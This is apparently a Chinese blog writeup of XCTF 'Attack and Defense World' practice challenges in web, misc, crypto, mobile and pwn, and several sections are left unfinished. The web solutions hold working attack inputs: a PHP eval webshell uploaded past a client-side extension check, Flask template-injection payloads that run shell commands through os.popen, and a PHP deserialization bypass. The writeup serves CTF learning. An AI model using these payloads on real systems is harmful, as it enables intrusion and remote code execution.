Fork me on GitHub

攻防世界CTF平台Writeup

网络发展对网络安全教育真的是有革命性冲击的,想想以前的靶机就只是自己虚拟机或者XMAPP本地搭建下DVWA、sqlilab等渗透测试环境自学自乐。而现在CTF刷题都有专门的线上题库。今天就来讲推荐下XCTF的刷题游戏平台“攻防世界”。

攻防世界-CTF靶场

这个平台算是目前发现的国内最具游戏性的CTF练习(免费刷题)平台。
(PS:虽然网上也有很不错的CTF刷题平台,但是不少已经开始收费了。https://ctftime.org/ 虽然很好但不适合萌新)

最初看到别人在刷这个,发现很有趣,故自己也开始刷了,可是后来因为工作上一系列问题,耽误了刷题进度,现在重新开始刷,给自己定个小目标,今年过年前至少把各个分类的新手练习题刷通关

目前题型主要分为6大板块:WEB、密码学(CRYPTO)、杂项(MISC)、逆向(REVERSE)、Pwn、Mobile(其实主要是Android)

个人建议先易后难,这样不至于一下就陷入苦战,有利于持续学习和刷题。

(PS:果然刷CTF题目比刷LeetCode有趣太多,逃~~~)

基本介绍

目前题目主要有6大类,每个分类下又分为:新手练习区高手进阶区

而且题目难度也是从易到难的安排,认真刷完的对CTF解题能力应该有很大提升。

刷题积分>=100后,可以申请加入攻防世界的高级刷题群。

刷题开始时间为2020年年初,平时也不定期有维护升级,所以部分基础题目已发生变化。

此外,社区经常有CTF线上赛,可以以赛促学。

WEB

新手练习区

其实当时刷Web新手练习的时候很顺手,很放松地刷了2、3小时就刷完了,结果完全忘记写Writeup,所以后来为了强迫自己养成好习惯,又重新刷了一遍以便写WP。不过,等我开始刷其它分类的新手练习时,才发觉Web新手大概是所有练习题中难度最低的了TAT。

001 view_source

题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

Writeup:

  • 方法1: 打开浏览器(Firefox或Chrome等)的开发者工具,选到Elements(元素)选卡,重新刷新下页面,就可以审查Elements的元素了。这题很简单,flag直接写在页面源码中。

001_view_source01

  • 方法2: 打开浏览器(Firefox或Chrome等)的开发者工具,选到Network(网络)选卡,重新刷新下页面,点击捕获的页面请求,选择Response,页面源码和flag都明确可见。

001_view_source02.png

  • 方法3:

打开浏览器(Firefox或Chrome等),新开一个选卡,在地址栏进行输入,利用view-source:target_url直接查看目标页面源码。

e.g.:

1
view-source:http://159.138.137.79:49837/

个人点评:对于这种萌新友好的题目,原则上就是快速高效获取flag。

002 robots

题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

Writeup:

高手进阶区

002 unserialize3

提示很明确,下发的靶机环境为 http://220.249.52.133:53374/

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

看见__wakeup就知需要利用php反序列化的漏洞来绕过。

关于__wakeup()魔术方法和执行漏洞

1
2
3
4
> unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。
>
> __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
>

序列化与反序列化简介:

序列化: 把复杂的数据类型压缩到一个字符串中。数据类型可以是数组,字符串,对象等,可用函数 : serialize()

反序列化: 恢复原先被序列化的变量。可用函数: unserialize()

所以对xtf类序列化查看输出:

1
2
3
4
5
6
7
8
9
10
11
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$ctf = new xctf();
echo(serialize($ctf)); // O:4:"xctf":1:{s:4:"flag";s:3:"111";}

这里需要解释下参数:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

这里的O是object对象,数字4代表着对象的函数名有4个占位。

然后就是对象名,这个数字1表示对象里有一个变量。

大括号前面的1便是属性变量的个数,参考前面提到的__wakeup()执行漏洞。只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行。

传参?code=O:4:"xctf":7:{s:4:"flag";s:3:"111";}(即访问 http://220.249.52.133:53374/?code=O:4:"xctf":7:{s:4:"flag";s:3:"111";}),就可获取flag:

the answer is : cyberpeace{fab06a89d1b5e81d43f03abdc4394a25}

005 ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

随意点点,发现只有云平台报表中心这里有正常跳转。

http://124.126.19.106:54177/index.php?id=1

page1

只有一个日期选择表,且实际无法操作,id的参数输入其它字符不行,只有参数是数字不被跳转,结合提示“送分题”,推测解题方法也许不难。

开BurpSuite拦截请求,利用Intruder爆破看看,Attack type: Sniper,Payload Sets:Numbers , 且先试试1-5000看看。

payloadsets

点击Start attack开始爆破。还没爆破玩,已经从返回页面的length看到不同的长度。

attack_ret

访问id=2333, flag直接页面可见。

http://124.126.19.106:54177/index.php?id=2333

cyberpeace{006f380797b6fb49e8d07b7ccae5c5c0}

009-PHP2

没什么提示,直接下发了靶机环境。

页面只有下面这个提示:

Can you anthenticate to this website?

那么先看看有没有index页面吧,http://124.126.19.106:48997/index.php 还是这个页面。然后去查了下php有没有其它后缀的文件,查到了.phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。故试之。

http://124.126.19.106:48997/index.phps

phps

好,简单审计源码内容。直接传id=admin会返回“not allowed!”,而经过函数urldecode()处理后id的参数为admin的传参值才是正解。

简言之:

1."admin"===$_GET[id]不成立

2.$_GET[id] = urldecode($_GET[id]);之后,$_GET[id] == "admin"要成立

1
2
3
4
5
6
相关参考:
urldecode() 解码 URL 字符串函数。

此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号('+')被解码成一个空格字符)。

该函数经常被使用于php解码URL中的中文字符串。

用脚本编码admin参数为%61%64%6D%69%6E,但直接传入还是不对,然后发现忽略了一个问题。

当传入参数id时,浏览器会对非ASCII码的字符进行一次urlencode

然后才是在这段代码中运行时,会进行一次urldecode

所以实际上GET方式获得的id参数经过了两次解码,由此可知,我们对admin也要进行两次编码,故%61%64%6D%69%6E还得在URLEncode一次。

可直接用这个http://tool.chinaz.com/tools/urlencode.aspx

或者自己写个脚本解码,或者对着:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/**
* Created by PhpStorm.
* User: TesterCC 需要配置php环境
*/


$str = 'admin';

echo urlencode($str);

$ret = '';
for($i=0, $len=strlen($str);$i < $len; $i++) {
$ret .= '%'.strtoupper(dechex(ord($str[$i])));
}

echo "<br>";

echo $ret;

echo "<br>";

echo urlencode($ret); // 正解在此

运行结果:

1
2
3
admin
%61%64%6D%69%6E
%2561%2564%256D%2569%256E

而最后这个参数才是我们真正需要的:%2561%2564%256D%2569%256E

最后访问:http://124.126.19.106:48997/?id=%61%64%6D%69%6E

注意这里的解析过程:

第一次比较是:if(“admin”===”%2561%2564%256D%2569%256E”)

第二次比较是:if(“admin” == urldecode(“%61%64%6D%69%6E”);

获得Flag:

1
2
3
4
5
Access granted!

Key: cyberpeace{d790641f024a4078f4594c139b381ef8}

Can you anthenticate to this website?

011 upload1

靶机环境:http://220.249.52.133:47841/

看js可知,前端上传是做了验证的,看js的check()函数可知。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;

alert('请选择一张图片文件上传!');
}

}

所以,要先绕过前端验证。先写一句话木马文件one.php

1
<?php @eval($_POST['test@135']) ?>

将one.php更名为one.png, 然后开Burpsuite代理,绕过前端后缀名验证后,抓包把 one.png 改回 one.php。

burpsuite_upload

然后forword,即可上传成功,返回信息如下:

1
upload success : upload/1593752559.one.php

可知一句话木马的地址为:

http://220.249.52.133:47841/upload/1593752559.one.php

开中国菜刀或者Cknife(MacOS菜刀替代品)连接一句话木马,上层目录中可以找到flag

cknife

可知flag为:cyberpeace{f0c33611fe80a5f7849d75fe6f197095}

012 Web_python_template_injection

靶场环境:http://220.249.52.133:39570/

直接用Wappalyzer检测出是flask框架。搜了下flask模版注入,发现SSTI(Server-Side Template Injection),服务器端模板注入。

1.判断是否存在模版注入

1
2
3
4
5
6
http://220.249.52.133:39570/{{1+2}}

返回内容为:
URL http://220.249.52.133:39570/3 not found

{{1+2}}能执行,说明存在模版注入

2.调用os模块的popen执行ls打印所有文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//调用os模块的popen执行ls打印所有文件
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("命令").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}

//或者

//调用os模块的listdir打印文件
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir("./")}}

e.g.:
Payload:
http://220.249.52.133:39570/%7B%7B[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen(%22ls%22).read()%7D%7D

返回内容为:
URL http://220.249.52.133:39570/fl4g index.py not found

发现有一个名为fl4g的文件,应该就是目标。

3.执行cat查看f l4g

1
2
3
4
5
6
e.g.:
payload:
http://220.249.52.133:39570/%7B%7B[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen(%22cat%20fl4g%22).read()%7D%7D

返回内容为:
URL http://220.249.52.133:39570/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found

至此,获得flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

ref:

https://blog.csdn.net/yh1013024906/article/details/84330056

013 Web_php_unserialize

015 easytornado

护网杯 2018的题,题目描述:Tornado 框架。

靶场环境:http://220.249.52.133:58359/

访问后显示三个url,分别点击访问,内容如下:

1
2
3
4
5
6
7
8
9
10
/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filename和cookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。

根据提示搜一搜”tornado render漏洞”,看了下应该是利用tornado的模版注入。

037 Web_python_block_chain

MISC

新手练习区

001 this_is_flag

题目描述:Most flags are in the form flag{xxx}, for example:flag{th1s_!s_a_d4m0_4la9}

真正的签到水题,答案写在题目中,就是:flag{th1s_!s_a_d4m0_4la9}

002 pdf

题目描述:菜猫给了菜狗一张图,说图下面什么都没有

提供的附件pdf下载后,用PDF Expert打开(因为Mac自带的pdf预览看不出分层)。

图片拖动开一看,flag文本立现。

002pdf

Get Flag: flag{security_through_obscurity}

003 掀桌子

题目描述:菜狗截获了一份报文如下c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2,生气地掀翻了桌子(╯°□°)╯︵ ┻━┻

本场没附件,那么正常推测就是密文解密后有flag的相关线索。

这长度,也不太像什么算法加密后的密文,看到没有出现f后的字母,推测16进制概率比较高。

首先,2个一组(如:c8、e9、ca…)做转换为10进制数。

然后,将十进制数减128(因为ASCII码值为0-127),让其落到ASCII码表上,计算出对应ASCII码值的字符。

脚本1:

1
2
3
4
5
6
7
8
9
10
11
enstr = "c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2"

# print(len(enstr))

flag = ""

while len(enstr):
flag = flag + chr(int(enstr[:2],16)%128)
enstr = enstr[2:]

print(flag)

结果如下:

1
Hi, FreshDog! The flag is: hjzcydjzbjdcjkzkcugisdchjyjsbdfr

记得按flag格式提交:flag{hjzcydjzbjdcjkzkcugisdchjyjsbdfr}

006 SimpleRAR

TODO https://adworld.xctf.org.cn/task/task_list?type=misc&number=1&grade=0&page=1

题目描述:菜狗最近学会了拼图,这是他刚拼好的,可是却搞错了一块(ps:双图层)

附件一个rar,解压出来的txt文件写着flag is not here。(这是我绕远路的开始orz)那么根据提示,就来分析下rar这个附件吧。

提示双图层,大胆猜测和图片相关,Hex Fiend打开rar搜索下,除了flag is not here,果然有个secret.png。

hex_rar

这就奇怪了,我之前解压的时候只有一个flag.txt文件。然后发现是The Unarchiver功能强大,能把受损的rar中完好部分的文件给解压出来,这个rar文件用winrar和winzip打开实际上是会报错的。

因为这一块知识的确短板,所以求助了一波搜索引擎,参考这里

高手进阶区

REVERSE

新手练习区

高手进阶区

CRYPTO

新手练习区

001 base64

题目描述:元宵节灯谜是一种古老的传统民间观灯猜谜的习俗。 因为谜语能启迪智慧又饶有兴趣,灯谜增添节日气氛,是一项很有趣的活动。 你也很喜欢这个游戏,这不,今年元宵节,心里有个黑客梦的你,约上你青梅竹马的好伙伴小鱼, 来到了cyberpeace的攻防世界猜谜大会,也想着一展身手。 你们一起来到了小孩子叽叽喳喳吵吵闹闹的地方,你俩抬头一看,上面的大红灯笼上写着一些奇奇怪怪的 字符串,小鱼正纳闷呢,你神秘一笑,我知道这是什么了。

密文为:Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9

Metho1:可以用命令行工具解密:

1
2
3
echo -n "Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9" | base64 -D

cyberpeace{Welcome_to_new_World!}

Method2:开浏览器Console,然后用atob解密:

1
2
atob("Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9")
"cyberpeace{Welcome_to_new_World!}"

atob() 方法用于解码使用 base-64 编码的字符串。

002 Caesar

题目描述:你成功的解出了来了灯谜,小鱼一脸的意想不到“没想到你懂得这么多啊!” 你心里面有点小得意,“那可不是,论学习我没你成绩好轮别的我知道的可不比你少,走我们去看看下一个” 你们继续走,看到前面也是热热闹闹的,同样的大红灯笼高高挂起,旁边呢好多人叽叽喳喳说个不停。你一看 大灯笼,上面还是一对字符,你正冥思苦想呢,小鱼神秘一笑,对你说道,我知道这个的答案是什么了

提示很明显,要利用凯撒密码的原理解密

密文:oknqdbqmoq{kag_tmhq_xqmdzqp_omqemd_qzodkbfuaz}

这个时候就祭上python脚本遍历破解吧,论常被解密脚本的重要性^ _ ^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
MAX_KEY_SIZE = 26


def getMode():
while True:
print('Enter either "encrypt" or "e" or "decrypt" or "d":')
mode = input().lower()
if mode in 'encrypt e decrypt d'.split():
return mode
else:
print('Enter either "encrypt" or "e" or "decrypt" or "d".')


def getMessage():
print('Enter your message:')
return input()


def getKey():
key = 0
while True:
print('Enter the key number (1-%s)' % (MAX_KEY_SIZE))
key = int(input())
if (key >= 1 and key <= MAX_KEY_SIZE):
return key


def getTranslatedMessage(mode, message, key):
if mode[0] == 'd':
key = -key
translated = ''

for symbol in message:
if symbol.isalpha():
num = ord(symbol)
num += key

if symbol.isupper():
if num > ord('Z'):
num -= 26
elif num < ord('A'):
num += 26
elif symbol.islower():
if num > ord('z'):
num -= 26
elif num < ord('a'):
num += 26

translated += chr(num)
else:
translated += symbol
return translated


mode = getMode()
message = getMessage()
if mode[0] != 'd':
key = getKey()
print('Your translated text is:')

if mode[0] != 'd':
print(getTranslatedMessage(mode, message, key))
else:
for key in range(1, MAX_KEY_SIZE + 1):
print(key, getTranslatedMessage('decrypt', message, key))

运行程序,根据提示录入相关信息,即可在26种可能性中get flag

flag: cyberpeace{you_have_learned_caesar_encryption}

003 Morse

题目很长,真正有价值的就这两句:这些01代表着什么意思(flag格式为cyberpeace{xxxxxxxxxx},均为小写)

根据Morse自然想到是摩斯密码,看到密文也能判断出来,密文如下:

1
11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110

因为摩斯密码是有.-组成,所以就把密文中的1和0做替换,替换为摩斯密码密文后再进行破译。

如果1是-,0就是.,反之亦然。2种替换都了下,找到正确的替换方式如下(用的ipython):

1
2
In [9]: t.replace("1","-").replace("0",".")
Out[9]: '-- --- .-. ... . -.-. --- -.. . .. ... ... --- .. -. - . .-. . ... - .. -. --.'

直接找的在线的:http://moersima.00cha.net/

当然,如果是断网环境的比赛,可以使用这个脚本解密摩斯密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

CODE_TABLE = {
# 26 个英文字符
'A': '.-', 'B': '-...', 'C': '-.-.',
'D': '-..', 'E': '.', 'F': '..-.',
'G': '--.', 'H': '....', 'I': '..',
'J': '.---', 'K': '-.-', 'L': '.-..',
'M': '--', 'N': '-.', 'O': '---',
'P': '.--.', 'Q': '--.-', 'R': '.-.',
'S': '...', 'T': '-', 'U': '..-',
'V': '...-', 'W': '.--', 'X': '-..-',
'Y': '-.--', 'Z': '--..',

# 10 个数字
'0': '-----', '1': '.----', '2': '..---',
'3': '...--', '4': '....-', '5': '.....',
'6': '-....', '7': '--...', '8': '---..',
'9': '----.',

# 16 个特殊字符
',': '--..--', '.': '.-.-.-', ':': '---...', ';': '-.-.-.',
'?': '..--..', '=': '-...-', "'": '.----.', '/': '-..-.',
'!': '-.-.--', '-': '-....-', '_': '..--.-', '(': '-.--.',
')': '-.--.-', '$': '...-..-', '&': '. . . .', '@': '.--.-.'

# 你还可以自定义

}

def morsedecode(morse):
msg =''
codes = morse.split(' ')
for code in codes:
if code =='':
msg += ' '
else:
UNCODE =dict(map(lambda t:(t[1],t[0]),CODE_TABLE.items()))
msg += UNCODE[code]
return msg

a = open(r'crypto3.txt','r')
ciphertext = a.read()

ciphertext = ciphertext.replace('1','-')
ciphertext = ciphertext.replace('0','.')

FLAG = morsedecode(ciphertext)
flag = FLAG.lower()
flag = 'cyberpeace{'+flag+'}'
print('flag is ',flag)

破译后的明文为:morsecodeissointeresting

(建议线下赛选手自备本地脚本,以备不时之需)

根据提示,组合可得flag为:

1
cyberpeace{morsecodeissointeresting}

004 不仅仅是Morse

题目中的关键提示:

1.可能是因为还有一些奇怪的加密方式在里面吧

2.一种食物,格式为cyberpeace{小写的你解出的答案}

附件密文如下:

1
--/.-/-.--/..--.-/-..././..--.-/..../.-/...-/./..--.-/.-/-./---/-/...././.-./..--.-/-.././-.-./---/-.././..../..../..../..../.-/.-/.-/.-/.-/-.../.-/.-/-.../-.../-.../.-/.-/-.../-.../.-/.-/.-/.-/.-/.-/.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/.-/.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../-.../.-/.-/.-/-.../-.../.-/.-/-.../.-/.-/.-/.-/-.../.-/-.../.-/.-/-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/-.../-.../.-/.-/-.../-.../-.../.-/-.../.-/.-/.-/-.../.-/-.../.-/-.../-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../-.../.-/.-/-.../-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/-.../-.../.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/-.../-.../.-

一看密文便知道肯定要处理/,根据摩斯密码的标准格式 ,将/替换成空格,可以解码,解码内容如下:

1
may be have another decodehhhhaaaaabaabbbaabbaaaaaaaabaababaaaaaaabbabaaabbaaabbaabaaaababaabaaabbabaaabaaabaababbaabbbabaaabababbaaabbabaaabaabaabaaaabbabbaabbaabaabaaabaabaabaababaabbabaaaabbabaabba

这个密文我是真不熟悉,查了下说是叫做“培根密码”(Bacon’s cipher),法兰西斯·培根发明的一种隐写术。好吧,对上了食物这个提示。

在线直接用工具解密:https://tool.bugku.com/peigen/

如果不能访问外网,则用如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import re

# 密文转化为指定格式
s = 'AAAAABAABBBAABBAAAAAAAABAABABAAAAAAABBABAAABBAAABBAABAAAABABAABAAABBABAAABAAABAABABBAABBBABAAABABABBAAABBABAAABAABAABAAAABBABBAABBAABAABAAABAABAABAABABAABBABAAAABBABAABBA'
a = s.lower()

# 字典
CODE_TABLE = {
'a':'aaaaa','b':'aaaab','c':'aaaba','d':'aaabb','e':'aabaa','f':'aabab','g':'aabba',
'h':'aabbb','i':'abaaa','j':'abaab','k':'ababa','l':'ababb','m':'abbaa','n':'abbab',
'o':'abbba','p':'abbbb','q':'baaaa','r':'baaab','s':'baaba','t':'baabb','u':'babaa',
'v':'babab','w':'babba','x':'babbb','y':'bbaaa','z':'bbaab'
}

# 5个一组进行切割并解密
def peigendecode(peigen):
msg =''
codes = re.findall(r'.{5}', a)
for code in codes:
if code =='':
msg += ' '
else:
UNCODE =dict(map(lambda t:(t[1],t[0]),CODE_TABLE.items()))
msg += UNCODE[code]
return msg

flag = peigendecode(a)
print('flag is ',flag)

需要解密的密文为:

1
aaaaabaabbbaabbaaaaaaaabaababaaaaaaabbabaaabbaaabbaabaaaababaabaaabbabaaabaaabaababbaabbbabaaabababbaaabbabaaabaabaabaaaabbabbaabbaabaabaaabaabaabaababaabbabaaaabbabaabba

解密结果:

1
2
ATTACKANDDEFENCEWORLDISINTERESTING
attackanddefenceworldisinteresting

根据提示,可知flag为:cyberpeace{attackanddefenceworldisinteresting}

高手进阶区

MOBILE

看了下基础题分值,感觉每道都挺高的,自己开始做题,才发现难度和分值成正比。

新手练习区

001 easy-apk

题目就时本题唯一的文字提示了,好吧,先安装下apk看看。

(个人还是不习惯直接安装陌生app到手机上,所以开个虚拟机安装吧)

apk

界面很简单,就是输入字符串然后check,如果输入对了应该就能得到flag了吧。

1
2
先apktool走一波
java -jar /PenTest/pentest_tools/apktool/apktool_2.4.0.jar d 989ca07c3f90426fa05406e4369901ff.apk -o xctf

smali

高手进阶区

PWN

新手练习区

001 hello_pwn

题目描述:pwn!,segment fault!菜鸡陷入了深思

题目场景:220.249.52.133:44732

下意识尝试执行文件,不过不能执行,先checksec检查下(MacOS需要pip install pwntools)

1
2
3
4
5
6
7
$ checksec 4f2f44c9471d4dc2b59768779e378282
/4f2f44c9471d4dc2b59768779e378282'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

好吧,64位Linux可执行程序,直接拖到IDA里查看下

todo

002 level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

题目场景:220.249.52.133:31594

1
2
➜  xctf file 291721f42a044f50a2aead748d539df0
291721f42a044f50a2aead748d539df0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped

64位Linux可执行程序

level0

IDA按F5查看伪代码,写的很直白。

level0_2

高手进阶区

-------------  Fin    Thanks for reading!  -------------

本文标题:攻防世界CTF平台Writeup

文章作者:TesterCC

发布时间:2020年07月07日 - 21:07

最后更新:2020年07月07日 - 21:07

原始链接:http://blog.fullstackpentest.com/world-of-attack-and-defense-ctf-writeup.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。